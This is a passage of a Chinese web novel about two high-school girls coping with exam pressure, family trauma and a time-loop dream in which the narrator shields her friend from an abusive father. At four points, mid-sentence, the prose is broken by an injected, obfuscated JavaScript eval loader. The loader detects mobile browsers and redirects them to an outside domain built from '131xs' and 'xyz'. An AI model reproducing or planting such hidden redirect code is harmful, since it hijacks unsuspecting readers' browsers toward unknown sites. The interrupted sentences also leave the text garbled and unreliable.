第二天不出意外,我们俩又迟到了。 唯一值得庆幸的是,幸好参宿昨晚睡的是下铺——因为她的上铺,漏水了。 清晨是被水滴“滴答、滴答”落在枕头边的声音吵醒的。 抬头一看,上铺的床板湿了一大片,水珠正连绵不断地渗下来。 我们急着赶去上学,只能匆匆在上铺正下方放了个搪瓷盆接水,然后抓起书包就狂奔出门。 十二月份,冬天真正来了,天气一天比一天冷。 我们跟楼上的住户反映了好几次,但那漏水丝毫没有要停歇的意思。据说是楼上厨房的水管老化,修起来麻烦,他们也就一直拖着。 苦了我和参宿。 我们俩合力,勉强把那张铁架床挪了个位置,避开漏水最严重的地方,但依旧得在地上放个盆接水。 参宿的被子被打湿了一大块,一时半会儿也晒不干。 她干脆就抱着枕头,彻底赖在了我的下铺,开始跟我挤着睡。 那段时间,参宿依旧对学习提不起太大兴趣,每天回来不是玩手机就是倒头睡觉。我就在书桌那头,开着一盏小小的台灯,刷题复习到凌晨两点半,然后准时上床。 参宿的身体像个小暖炉,总是有源源不断的热量。 在南方没有暖气的湿冷冬天里,我钻进被窝,挨着她,总能很快睡着。 —— 周末,奶奶出院,我去医院帮忙搭把手。 冬日的医院,总是人满为患,空气里弥漫着消毒水味。 这个味道几乎贯穿了我对奶奶生病后所有记忆,每一次闻到,都意味着奔波、疲惫和无尽的担忧。 奶奶常年瘫痪,进出医院是家常便饭,这股味道于我而言,是痛苦和压抑的具象化。 好不容易挤到住院部电梯口,那里早已堵得水泄不通。 等了许久,一部电梯终于“叮”的一声到达,门缓缓打开,里面已是黑压压的一片。 人群推搡着涌入,我也被裹挟着进去。 刚站稳,超载的刺耳警报声就尖锐地响了起来。 “超载了!最后进来的那个,下去啊!”里面有人不耐烦地喊道。 最后一个进来的,是站在我旁边的一位大爷,拄着拐杖,脸色尴尬,试图艰难地转身。 “快下去啊,大家都等着呢!” 我理解。 在医院这种地方,每个人都被自身的痛苦和焦灼填满,很难再有空隙去共情和理解他人的不便。 疲惫和病痛磨掉了大多数人的耐心。 我侧身从人缝里挤了出来。 电梯门在我身后缓缓合上,隔绝了里面或漠然或歉意的目光。 楼梯间是烟味最浓重的地方,所有难以在医院内部宣泄的愁闷都聚集于此,化作了呛人的尼古丁和焦油。 我捂着口鼻,还是被呛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她逼近一步:“你不明白我为什么会变成现在这个样子吗?我变成这个样子是拜谁所赐呢?” 老人低下头,身体止不住地颤抖。 女人一步步逼近床前:“我和我弟,同样是你的孩子,那为什么在他每次犯错误之后,我爸只会教训我,把我打得皮开肉绽的时候你在哪里?” “你怎么不说话?” “你那个时候不是永远都沉默着吗?” “你这个时候倒学会说话了?” “难道我不是你的孩子吗?” 老人崩溃地哭泣起来,一遍遍重复:“对不起……是我的错……我罪该万死……是我的错……” 听到这里,我已然明白了。 那是属于上一代甚至上上一代的悲剧。 一个强势的父亲,一个软弱的母亲,在那个重男轻女风气盛行的旧时代里,造就了林娟扭曲的童年。弟弟犯错,受罚的却是她,而她的母亲,永远只是沉默地看着。 后来父亲去世,母亲想要弥补,可是林娟已经不想要了,母亲于是将所有的愧疚和迟来的爱意都倾注在外孙女参宿身上,可这却更深地刺伤了从未得到过公平对待的女儿。 所以,在和家暴的丈夫参国富离婚后,她毅然决然地只带走了儿子参彻,将女儿参宿留给了参国富。 这是一种对自身悲惨过去的扭曲报复。 我站在门口,冷漠地看着里面争吵的两个人,哭泣的两个人,大吼大叫、声嘶力竭的两个人。 忽然觉得这一切都荒谬得可笑,又可悲得令人发指。 我们从来都只是小孩子而已。 我们为什么要被裹挟在你们上一代人的恩怨情仇里,艰难地、扭曲地活着? 我们究竟做错了什么? 13. 家人,我该如何走出去? 我靠在冰凉的墙壁上,点开和参宿的聊天界面,敲下一行字: 如果给你一次回到过去的机会,但结局仍旧无法改变,你会选择回去吗? 发送。 等待的时间并不长。 参宿:我不会。 紧接着,又一条信息弹出来。 你知道吗?穿越本质上只是一种对过去的幻想重构。 当现实生活太痛苦,超出你能承受的范围,大脑就会通过重构记忆来麻痹你,让你觉得没那么痛。 它只是痛苦到极致时,大脑为你制造的致幻剂。久了,你会分不清哪里是现实,哪里是幻象。 她说得对。 太对了。 精准地剖开了我所有侥幸和虚妄。 我打消了念头。 可是,手机又“叮咚”一声轻响。 屏幕上,跳出了参宿发来的新信息。 很长的一段。 可是如果我能回到每一个被家暴的夜晚,即便最终的结局无法改变,我希望至少在那个瞬间,有人护住了我一次。 可能是替我挡了一下,可能是拉着我跑开一小段,可能只是在我最慌的时候攥住了我的手。 那个当下的我是被接住了的,我不是孤零零的。 …… 我知道该怎么做了,参宿。 晃眼间,周遭消毒水的味道、冰冷的墙壁、病房里隐约的争吵声……所有的一切都急速褪去、扭曲、消失。 我又回到了那片一望无际的蒲公英花田。 我俯身,摘下一朵最饱满的蒲公英,举到眼前。 然后,鼓起腮帮,用力一吹—— 无数细小的白色□□,乘着风,欢快地、义无反顾地飞向远方,飞向未知的过去。 我闭上眼睛。 再一眨眼。 刺目的阳光透过老旧的玻璃窗照进来,空气里弥漫着饭菜的香气,还有奶奶身上淡淡的皂角味。 “城门城门几丈高,三十六丈高……” 我正坐在奶奶的腿上,她粗糙温暖的手扶着我的腰,轻轻颠着,玩着“小马颠颠”的游戏。 “骑花马,带大刀,到你门前走一遭……”奶奶笑眯眯地继续念着童谣。 我怔怔地抬起头,看着奶奶。 这时的她,脸上虽然爬满了皱纹,但眼神清亮,精神头十足,身体硬朗,还能轻松地把我抱在腿上颠着玩。 我看着她,不免眼睛酸涩,几乎要落下泪来。 “都多大了还坐你奶奶腿上,快给我下来!” 我转过头。 妈妈端着一盘油光锃亮的腊肉走出来。这时的她,头上还没有一丝白发。 “行了,快去洗手来吃饭。”妈妈催促道。 吃饭。 我被奶奶笑着放下地,懵懂地走到饭桌旁坐下。 木质的方桌,摆着几样简单的家常菜,散发着无比诱人的香气。 我刚坐下,猛地想起来,我回来的目的是什么? 是为了拯救参宿呀! “妈,我有事要出去一趟!” 我猛地站起来,着急忙慌地就往门口跑。 “你干嘛去啊?疯疯癫癫的!你爸待会儿就下班回来了!”妈妈在身后喊道。 爸。 这久违的称呼让我顿住了脚步。 这个时候……爸爸还没有出事。 他还活着。 我听到外面院子的大门被推开的声音,下意识地扭头往屋外看去。 爸爸回来了。 他穿着我印象中熟悉的那身保安制服,皮肤因为常年累月在室外巡逻而晒得有些黑红,脸色永远带着温和的笑容。 “哟,欢欢在门口迎接我呢?” 他跨进家门,顺手放下集市上买的江米条。 然后他习惯性地弯腰,大手掐着我的胳膊,轻而易举地把我举了起来。 “行了行了!都已经四十岁的人了,还当自己是小伙子呢?”妈妈埋怨。 爸爸把我放下来,不但没觉得不好意思,反而曲起手臂,秀了秀他那并算不上健硕的肱二头肌:“看看这是什么?这是什么?” 妈妈拿他没办法,笑着拍了他一下:“快去洗手吃饭!” 妈妈开始给每个人添饭。 奶奶的,爸爸的,我的,她自己的。 我们四个人围坐在小小的方桌旁,头顶是老式的黄色灯泡,洒下温暖的光晕。 “爸爸。”我喊了一声。 他正夹了一筷子腊肉放进奶奶碗里,闻声抬起头,嘴角还带着笑:“怎么了呀?” 其实没什么事。 我只是太久没有喊过这个称呼,太久没有见过这个人了。 所以我又喊了一声:“爸爸。” “欸!” 他响亮地应道,随即看出我眼眶发红,皱着眉关切地问:“怎么了宝贝?是不是在学校受欺负了呀?” 我用力地晃了晃脑袋,抱起面前的碗。 眼泪却控制不住,大颗大颗地砸进米饭里。 他们都急了,奶奶、妈妈、爸爸全都凑过头来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480731|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七嘴八舌地问:“怎么了呀?好好的怎么哭了呢?” “谁给我们欢欢气受了?” “告诉爸爸,爸去找他!” “没事……”我急忙用手背擦掉眼泪,声音哽咽,“我就是……太想你们了。” 他们愣了一下,随即都笑了起来。 “傻孩子,我们不是每天都在见面吗?” 我说:“可是我突然想到,如果有一天……我见不到你们了,我该怎么办呢?” 饭桌上安静了一瞬。 奶奶最先反应过来,说:“傻丫头,胡说些什么。” 妈妈放下筷子:“就算真的有一天,我们没有办法见面了,那我们也一定会化作天上的星星。” 爸爸接过话:“对,我们会一直看着你,守护你,保佑你,见证我们欢欢以后的幸福。” 那天晚上,因为我晚饭吃得不多,爸爸为了哄我,打开了那包江米条。 “少吃点哦,吃多了咳嗽,我就要被你老妈骂了。” 在爸爸去世前,那个绑架我的女人就给我吃过江米条。所以在他去世后,我一直没有办法再去碰这个东西。 但此刻,我还是接了过来,放进嘴里。 外面硬硬的糖衣和里面酥脆的米条,非常的甜,是一种属于过去的甜味。 我努力扬起一个大大的微笑:“好吃!” 那天晚上下着点淅淅沥沥的小雨,我们一家四口挤在小小的客厅里,看着当时热播的《还珠格格》。 爸爸被小燕子的滑稽逗得哈哈大笑,妈妈一边织毛衣一边跟着剧情皱眉,奶奶看到紫薇认爹那里就开始抹眼泪,我靠在奶奶和妈妈中间,手里还捏着半根江米条。 墙上的老式挂钟,时针一格一格地转动,从六点到七点,再到八点……滴答,滴答,像是通往分别的倒计时。 快到结束的时刻,我的脑海里,极其清晰地响起了一个小女孩凄厉的惨叫声。 求求你不要打我!我错了!爸爸对不起!我真的错了!别打了——! 是参宿的声音。 可是…… 我佯装镇定地坐在沙发上,目光缓缓地扫过客厅。 这里有没瘫痪的奶奶,有头发没白的妈妈,还有活着的爸爸。 我该怎么走出这个房间? 我该怎么亲手打破这个我梦寐以求、失而复得的温暖幻象,去奔向另一个未知的、危险的、可能同样无法改变的悲剧? 时针,无情地走向了终点。 一睁眼,一眨眼。 我回来了。 14. 挨打,请不要再害怕 一睁眼,一眨眼,我又回来了。 我愿意在这个无尽的循环里待到死。 第二次,我跑到了院子门口,踮着脚等待爸爸下班。看到他身影出现的那一刻,我扑上去抱住他。他大笑着把我举高,转了个圈。 第三次,晚饭后,我缠着一家人玩“小猫钓鱼”的纸牌游戏。奶奶总是故意让我赢,妈妈笑着说我耍赖,爸爸在一旁帮腔。 第四次,我开始争夺遥控板,非要放自己喜欢的动画片。 第五次,我翻出那双尘封的溜冰鞋,硬要在下着小雨的院子里滑。奶奶在门口担心地喊着“小心摔着”,爸爸站在雨里张开手臂护着我,我笨拙地滑动,溅起细小的水花,笑得无比开心。 可随着每一次循环的推进,我能听到参宿哭喊声的时间越来越长。 从第一次循环里只在最后几分钟才隐约听见,到后来半小时、一小时…… 绝望的哀嚎和求饶声,成了不可忽视的背景音,穿透我温馨家庭的欢乐表象,越来越清晰,越来越持久。 不止是声音,我开始频繁地看到一些画面——一些血腥暴力的画面,即便我紧紧闭上眼睛也无法忽视。 我听到重重的摔门声,是参宿喝醉酒的爸爸回来了。 我听到男人抱怨生意不顺的怒吼。 “一个个都跟老子过不去!钱呢?老子的钱都他妈去哪了?养你们这群废物有什么用!” 我听到他在砸东西,玻璃碎裂的刺耳声响,家具被踹倒的沉闷撞击。 我看到参宿小小的身体蜷缩在房间里,死死捂着耳朵,吓得不敢呼吸,不敢出去。 我看到男人一脚踹开卧室门,像拎小鸡一样把她从角落里拽出来。 我听到她拼命地求饶:“爸爸我错了!对不起!我再也不敢了!求求你别打我!我下次一定考好!我一定听话!” 她被打了多久,我就能听到多久,皮肉被击打的声音、她的哭嚎、男人的咒骂…… 第七次,我又回来了。 耳边参宿的哭喊和眼前的血腥画面都没有消退,我依旧强迫自己站在门口,等待爸爸回来。 他回来了。 可是这一次,他没有像往常一样跨进家门。 他看着我,忽然弯下腰,声音温柔:“来,爸爸背你。” 我愣了一下,还是爬上了他宽厚温暖的背,他稳稳地把我背了起来。 但是,他背着我……往外走去。 我有一种强烈的预感,要发生什么了。 他背着我,走在熟悉的小巷里,夕阳把我们的影子拉得很长。 他忽然开口:“你还记得小时候上幼儿园吗?有一次淹水,爸爸就这么背着你去上学。” 我点点头,脸颊贴着粗糙的制服外套,鼻尖发酸:“记得,可是那一次到了学校之后,老师说今天不用上学了。” 我们两个都笑了起来,只是我的笑声里带了哽咽。 然后,他忽然说:“对不起啊。” “我走后,这个家很难吧?” 我憋了整整六次循环的情绪,在这一刻轰然决堤。 大滴大滴的眼泪滚落下来,顺着他脖颈的皮肤滑下去,冰凉一片。 “真的很抱歉,我没有尽到我应尽的责任就走了。” “作为儿子,我没来得及孝顺妈。” “作为丈夫,我没能陪你妈白头到老。” “作为父亲,我没能陪着你长大。” 我在他背上拼命地摇头,眼泪汹涌:“不是的!对不起的应该是我!爸爸,是我当初不该乱跑的!” “对不起!我们回去吧……我们一家四口好好在一起……我永远待在这里,好不好?我们永远不分开……” 爸爸轻轻摇头。 “孩子,我也很想永远和你们在一起。” “也想再和你们吃一顿,普普通通的饭。” “可是孩子,这是你最后一次机会了。” 他将我放下,摸了摸我的头,像每一次送我出门那样:“你不要害怕。” “终有一天,我们一家四口会团聚的。那或许是几十年后,当你已经体验完整了人生,到时候爸爸来接你。” “就这样背着你,带你离开。” 他说完,对我挥挥手,像小时候第一次送我去幼儿园那样,露出笑眯眯的表情,然后转身,一步一步,消失在了巷口的夕阳余晖里。 我一个人站在原地,哭了很久很久。 最终,我抹掉眼泪,转过身,朝着与家相反的方向走去。 路旁有个大爷躺在竹摇椅上,悠悠地背着诗:“山水万重书断绝,念君怜我梦相闻。我今因病魂颠倒,唯梦闲人不梦君。” 旁边有个阿姨吃完饭,出来把洗好的床单晾在外面的铁丝上,湿漉漉的水滴答落下。 前面有三四个比我小的小孩,追逐打闹着从巷子里跑过,笑声清脆。 这些,只属于十二岁的商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480732|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽欢。 我跑出了巷子,拼命跑向参宿住的那栋破旧居民楼。 那绝望的哭嚎和求饶声在我耳边越来越响,快要震破我的耳膜。 我一步三级地飞奔上昏暗肮脏的楼梯,冲到铁门前。 我用尽全身力气拍打着冰冷的铁门,大声嘶喊:“开门!给我开门!” 里面的打骂声停顿了一瞬。 我继续疯狂拍门:“参宿!别怕!我来救你了!” 我耳边的哭声微弱了一些,变成了呜咽。 “咔哒”一声,铁门被猛地从里面拉开一条缝。 满身酒气的男人出现在门后,指着我的鼻子破口大骂:“谁家的□□崽子?别他妈多管闲事!滚!不然老子连你一起揍!” 我瞅准空隙,从他的手臂下方钻了进去。 屋子里的景象让我血液冻结。 参宿趴在地上,小小的身体蜷缩着,脸上身上都是伤,眼泪鼻涕和血糊了一脸。 “参宿!”我冲过去抱着她,“你怎么样?” 她在我怀里剧烈地颤抖,语无伦次地哭泣:“好疼……商尽欢……我好疼呀……” 男人彻底被激怒。 “找死!” 他咆哮着,抄起桌上的玻璃烟灰缸就狠狠砸在我脚边。 碎片四溅。 “来了正好!老子还嫌一个打得不过瘾呢!” 他猛地冲过来,一把揪住我的头发,巨大的力量把我狠狠掼倒在地。 额头撞在桌角,一阵剧痛和晕眩。 12岁的我,瘦瘦小小,完全无法抗衡一个成年醉汉的暴力。 可无论他怎么拉扯踢打,我死死抱着参宿,用自己单薄的后背对着他,把她紧紧护在身下。 我看到他猩红着眼,骂着不堪入耳的脏话,抡起一把木椅子,朝着我们俩狠狠砸下来。 我们蜷缩在一起,像暴风雨中两片无依的叶子。 一下,又一下…… 骨头发出令人牙酸的声响。 剧烈的疼痛席卷了每一根神经,好像灵魂都要被打出体外。 不知道过去了多久,意识开始涣散,恍恍惚惚间,我听到一些声音: “血氧还在掉!快!准备电击!” “肾上腺素静推1mg。” “瞳孔开始散了,意识完全丧失,估计不行了……” “……家属呢?通知家属……” 黑暗,彻底吞噬了我。 15. 打赌,谁相信我? 十二月的第一天,天气很冷,寒意刺骨。 这是我长这么大以来,经历过最冷的一个冬天,偏偏又撞上高三,每一分每一秒都更加难熬。 学校附近有一个非常大的花市,占地八千多平方米,是亚洲最大的花卉市场之一。 这个周日,我们来得特别早,参宿硬拉着我去逛花市。 自从期中考成绩下滑之后,她好像就有种破罐破摔的架势,玩性大发起来。 花市里温暖如春,人头攒动,各色花卉争奇斗艳。 参宿一蹦一跳地走在前面,对什么都充满好奇。 我心不在焉地跟在她后面,思绪早就飘到了昨晚那道始终解不出的数学题上。 人多,好几次我们差点走散。 她嘀嘀咕咕地在我旁边说了很多,拿起一束满天星,问:“这个好看吗?要不要买这个?” 我瞥了一眼,敷衍道:“还行。” 她嘟了嘟嘴,大概觉得我回答得太冷淡,又跑向前面的摊位,拿起一支向日葵,兴致勃勃地回头问我:“这个呢?好看吗?向日葵看着多阳光!” 我说:“一般。” 她也不气馁,又跑到卖多肉的摊位前,蹲下去,拿起一盆胖乎乎的生石花,仰头问了我一堆问题:“这个好养活吗?听说不能多浇水?你看它像不像屁股?” 我双手插在外套兜里,心神恍惚,根本没听清她说什么。 直到她问了第三遍:“商尽欢!你觉得哪个好看?” 我才猛地回过神:“啊?” 她叹了口气,指着手里的那盆:“你喜欢哪一个?” 我随便指了旁边一盆最普通的虹之玉。 她买了下来,老板熟练地帮我们换进一个新的小白陶盆里。 一小盆多肉,憨态可掬。 我开口,想问她,我们是不是该回去了,马上要上晚自习了。 她却突然把那盆装点好的多肉塞到了我手里。 “喜欢吗?”她问我。 我说:“还行。” 她说:“那给你了。” 我愣了一下,原来是给我买的。 我接过那盆还有点湿润泥土气息的多肉,下意识地用指尖戳了戳它饱满的叶片。 “你最近学习太辛苦了,养个小东西,偶尔写题写累了,看它一眼,会不会心情好一点?” “应该会吧。”我的回答依旧平淡。 六点,晚自习准时开始。 是班主任徐春红的数学课。 上周周测的卷子发下来了。 我展开一看,114分。 平常稳在130分没跑,更何况这只是一次难度不大的周测,简直是超级无敌失常发挥。 分数下滑是件极其可怕的事情,它会像多米诺骨牌一样,轻易击垮好不容易建立起来的信心,影响后续所有的状态。 如果我之后一直下滑,考不上好大学,那我怎么对得起妈妈那么辛苦的付出?徐春红可能也会因此讨厌我,我会和参宿一样,被她点起来,承受全班或同情或嘲笑的目光…… 一直到第一节课晚自习下课,大家都起来活动、接水、聊天,我也没有动。始终坐在座位上,埋头把错题一道道整理到错题本上。 不知道脑子缺了哪根筋,有一道立体几何的辅助线,始终没看懂为什么那么画,只能对着答案抄了好几遍。 我是个笨学生,只会用最笨的办法,试图用肌肉记忆来理解逻辑。 抄着抄着,不知怎么就出了神。等回过神来,才发现同一行公式我重复抄了两遍。 “这都能错……”一股无名火猛地窜起,我烦躁地砸了一下笔。 参宿听到了我这边的动静,凑过头来问:“要不要下去散散步?” 从前我最喜欢的事情就是和参宿一起去那片废弃的蒲公英花田里散步。 但现在,在这个分秒必争的关键时刻,我实在没有时间,更没有心情去做这种事,那会让我产生强烈的负罪感。 “不去。” 我重新拿起笔,把抄重复的地方连画了好几道粗杠,不小心把本子划穿了。 参宿还是在我旁边看着我:“你这样不行的,状态不对的时候,需要停下来调整一下,硬熬反而……” 她话没说完,教室门口忽然传来一个声音,打断了她的劝慰。 “商尽欢,”徐春红站在那里,脸色看不出喜怒,“来我办公室一下。” 我放下笔,在心里叹了口气,起身跟着她出去。 办公室里围满了来问问题的学生。 徐春红把我叫到她的办公桌前,正好有本班学生拿着卷子过来想问,她挥了挥手:“先回去等一下,待会儿再来。” 因为我数学成绩不错,她对我还是挺重视的。 “你这次周测怎么回事?下滑幅度太大了。” 我脑子里很乱,像塞了一团浆糊,手指无意识地绞着衣服下摆,低声说:“我下次……争取考上来。” 徐春红没有对我说太重的话,她只是沉吟了一下,然后意有所指地问:“是不是参宿这几天影响到你了?” 我没吭声。 她继续说着:“她就是那种人,越到后面越沉不住气,心早就野了。你可千万不要被她带了节奏,毁了你自己。” 我抿着嘴,半晌,才干巴巴地挤出一句:“没有,她没有影响我。” “真的没有?”徐春红审视地看着我,“你们俩晚上住在一起,又是在外面,没人管着。拿着手机,也不知道一个晚上都在干什么。” “成绩这种事情,是非常现实的。如果她真的影响你了,你要跟她说,跟她挑明。不要因为她,影响了你自己的前途。这个可是高三,高考很重要的。” “要是真的朋友,她就不会去打乱你学习的节奏。” 徐春红认为是参宿在打扰我,在拖累我。 其实,在之前,完全不是这样的。 那个时候我刚转来这里,成绩在人才济济的附中班里算是垫底,数学也并没有那么突出。 我的座位被安排在最后一排靠墙角的位置,跟大家都分开了。因为我是外校来的借读生,也没有领到附中的校服,只能穿着自己原来学校的校服。 方方面面都在提醒我,我是外人,我不属于这个学校。 徐春红对于我的到来,并没有那么开心。 一个借读生,成绩平平,只会拉低班级平均分。 我记得那个时候,她从来没有批改过我的任何作业。唯一一次在课堂上把我点起来回答问题,还是因为前面两个同学都答不上来。 我报出了正确答案。 结果她只是笑了一下,对着之前那两位同学说:“你们看,她都会,你们俩为什么不会?” 我那个时候面子很薄,被她这么一说,脸颊瞬间烧得通红。 我尝试过成绩不好、被老师忽视甚至轻视的滋味,那种感觉糟透了。所以我拼命学习,再也不想要回到那种境地。 我和徐春红第一次矛盾的爆发,也是在数学课上。 当时她正在黑板前讲解一道题目,讲到最后,得出的结果却和练习册答案不一样。于是全班学生和她一起,埋头在步骤里寻找哪里出了错。 我举了手。 她大概没想到我会举手,点了我。 我站起来,指出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480733|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个微小的计算失误。 教室里安静了一下。 徐春红放下粉笔,拍了拍手上的灰,说:“商尽欢,你牛啊,那你来跟大家说一下后面几题的答案吧。” 我站了起来,把后面几道选择题和填空题的答案依次报了出来,全都是正确的。 徐春红听完,笑了一下,让我坐下。 可我没有坐下,而是看着她,鼓起这辈子最大的勇气问:“老师,下次可以批改我的作业吗?” 班里瞬间鸦雀无声,连冲瞌睡的同学都醒了。 徐春红又笑了:“商尽欢,不是老师有其他针对你的意思。你呢,就只是一个普通的借读生而已。” “其实归根结底啊,你不归我们附中管。你就只是来这里听课的,你懂吗?就是坐在我们班听课。你本质上跟我们……” 她没有把这句话说完。 “而且老师一个人要管那么多的学生,确实没有精力管你。你的学籍和档案都不在这里,我批了你的作业,意义也不大,对吧?” 这次,我没有被她这番有理有据的话堵回去。 我是直视着她,把当初翻来覆去看过很多遍的《借读生管理手册》上的条款说了出来:“老师,《手册》第三章第十五条写了,借读生享有和正式生同等的听课、参加教学活动、使用教学设施的权利。老师批改作业,是属于教学活动的一部分。而且,《中小学教师职业道德规范》里也说了,老师要关心爱护全体学生,尊重学生人格,平等公正对待学生……” 我的话还没说完,徐春红就笑了一下,她看着我说:“脑子还挺好使的嘛,怪不得能考到我们附中来借读。” 我没有接她的茬,而是深吸一口气:“老师,不然我们打个赌吧。” “下一次月考,我会是全校数学单科第一。” “我即便只是借读生,我也可以为你争光,为班级争光,到那个时候,”我顿了顿,一字一句地说,“您就不会认为我只是区区一个借读生了。” 这话一说出来,我自己都吓了一跳。 这简直是我有史以来说过最狂妄的话了,完全是头脑一热。 在座的同学先是寂静,随即爆发出小小的骚动,甚至有开始起哄的。 说到底,我只是一个外人。 徐春红也笑了,她环视教室,像是在寻求认同:“在座的各位同学,有谁能相信她能考数学单科第一?” 大家面面相觑,都带着看笑话的神情,摇了摇头。 “我信!” 是参宿。 她扭头看着我,眼睛里有光:“我相信商尽欢能考到!” 当所有人对我嗤之以鼻的时候,只有参宿肯定了我。 那个时候的参宿,还是理科班里成绩突出的女生。除了数学这一科相对弱一些,她的语文、英语、理综都几乎无懈可击。 张扬告诉我,她以前更厉害,是一考场的学生。 我们学校的考试考场是按成绩排名,一考场里坐的是年级前50名。 只是后来,不知道从什么时候开始,她好像有点贪玩了,成绩才慢慢滑下来一些,但也依旧稳定在中上游。 所以,在一开始,在徐春红看来,是我这个外来者、成绩平平的借读生,在打扰成绩好的参宿。 甚至在参宿最初提出来要搬出宿舍,和我一起在校外合租时,徐春红是坚决反对的,她认定了我会带坏参宿,会拖累她。 可谁能想到,几个月后,情况完全颠倒了过来。参宿的成绩下滑严重,一路跌到了中下游。而我,靠着近乎自虐的努力,成绩一步步爬升,渐渐取代了参宿曾经在班级、在徐春红心中的那个位置。 16. 鸭腿,两个都给你 晚上下晚自习,回出租屋的那段路。 参宿跟在我身边,问了我一路:“徐春红到底跟你说什么了?是不是批评你了?因为周测成绩吗?” 我摇头,语气疲惫:“没有。” “她说什么你都别往心里去,她就那样的人,没关系,你下次考好了就……” “好好好,我知道了。”我有些不耐烦地打断了她。 其实我知道她是关心我,但那一刻,我心里很乱,只想要静一静。 回到出租屋,参宿第一时间就跑去烧水煮泡面。 她饿得总是很快,消化能力好,经常闷头苦吃,吃完撑得难受,因此随身携带健胃消食片。 之前她生日,张扬别出心裁地给她包了一捆健胃消食片的花。 可她胃不好,吃到辣的或者冰的,立马窜稀。 我从书包里拿出晚自习没写完的物理和化学,摊在唯一的小书桌上。 参宿煮好了面,她拍拍我的胳膊:“吃一点吗?给你也下了一袋。” 我头也没抬,盯着电路图:“不要。” 她哄劝:“可是你每天都要学到凌晨两三点,消耗很大的,万一待会儿饿了怎么办?稍微吃一点呗?就几口。” 思路被打断,我放下笔,语气有点冲:“我说了不要!你能不能别烦了!” 话一出口,我们俩都愣住了。 参宿看着我,眨了眨眼,没再说话,只是默默地收回了手。 我立刻察觉到自己态度恶劣,伤到她了。 但自尊心作祟,那句“对不起”怎么也说不出口。 我抿了抿嘴,视线重新落回卷子上,:“你吃吧,吃完我洗碗。” 参宿没再说什么,安静地吃完了她那碗面。 然后,她自己默默地把碗洗了。 她也没有给我台阶下的意思。 收拾完后,她像往常一样爬上了床,只不过,这次是去了她自己的上铺。 她钻进被子里,开始刷手机,发出的“咯咯咯”的笑声,难免影响到我。 我叹了口气,最终只是戴上耳机。 那天我熬到了凌晨三点,学得很投入。 等到终于感到疲惫,关掉台灯,脱掉外衣,准备上床时,下铺空荡荡的。 冰冷的被窝在无声地控诉着我之前的混蛋行径。 我在黑暗中站了一会儿,低声飞快地说了一句:“……对不起。” 没有回应。 这个夜晚,被窝冰凉,一点都不温暖。 直到天快亮时,我蜷缩着,身上依旧没热起来。 上午的五节课,我和参宿一句话也没有说。 她不耐饿,书包里总是备着各种各样的小面包小饼干。 往常课间,她会自己拆开一包,然后很自然地顺手塞一块到我嘴里。 可是今天,她没有吃。 中午有40分钟的吃饭时间。 我、参宿和张扬是我们固定的“饭搭子”。 为了避开高峰,节省排队时间,我们通常都会选择后20分钟再去。 我坐在座位上,摊开一套英语阅读题开始刷。 参宿没有要提前离开的意思,而是像往常一样,趴在桌子上睡觉。到了我们约定俗成的时间点,我会把她叫醒,然后一起去食堂。 今天……也一样吗? 我犹豫了一下,还是扭头,对她说:“你要是饿了,就先和张扬去吃饭吧。” 她抬起头,愣了一下。 我意识到她可能误会了,以为我在赶她,便补充解释道:“我的意思是,你们每次都是为了等我,其实不用这样委屈自己的,饿了就去吃。” 也许是因为我在好好跟她解释,态度也没有昨天那么恶劣,她终究还是撇撇嘴:“不要,我就想跟你一起吃。” 然后,她又重新趴了回去,“到点了记得叫我哦。” 我终于轻松地笑了:“好。” 20分钟后,食堂的菜品已经不多了,剩下的也都有些凉。 但我们并不挑剔,能填饱肚子就行。 我们三个人分工明确:我负责拿筷子和勺子,参宿和张扬负责去打汤,然后集合。 张扬舔舔嘴唇,搞怪地用日语说了句:“いただきます(我开动了)!” 参宿扒拉了一口米饭,盯着张扬餐盘里的菜:“咦?你怎么打的菜跟我的一样?暗恋我是吧?” 张扬昂着脸:“我明恋行了吧?明恋!” 参宿一脸嫌弃:“切,谁稀罕呀!” 两个人对着比鬼脸,吐舌头,像两个没长大的小孩。 我看着他们俩吵吵闹闹,忍不住也跟着笑起来。 可是笑到一半,我忽然想起一道工业合成氨的化学题,却死活想不起来一个反应条件。 我赶紧低头猛扒了几口饭,匆匆嚼了几下咽下去,对他们说:“那个你们俩继续吃,我先回教室了。” 张扬瞪大眼睛:“不是吧大姐?这才吃了几分钟啊?” 我留下一个抱歉的笑,没多解释,飞快地溜走了。 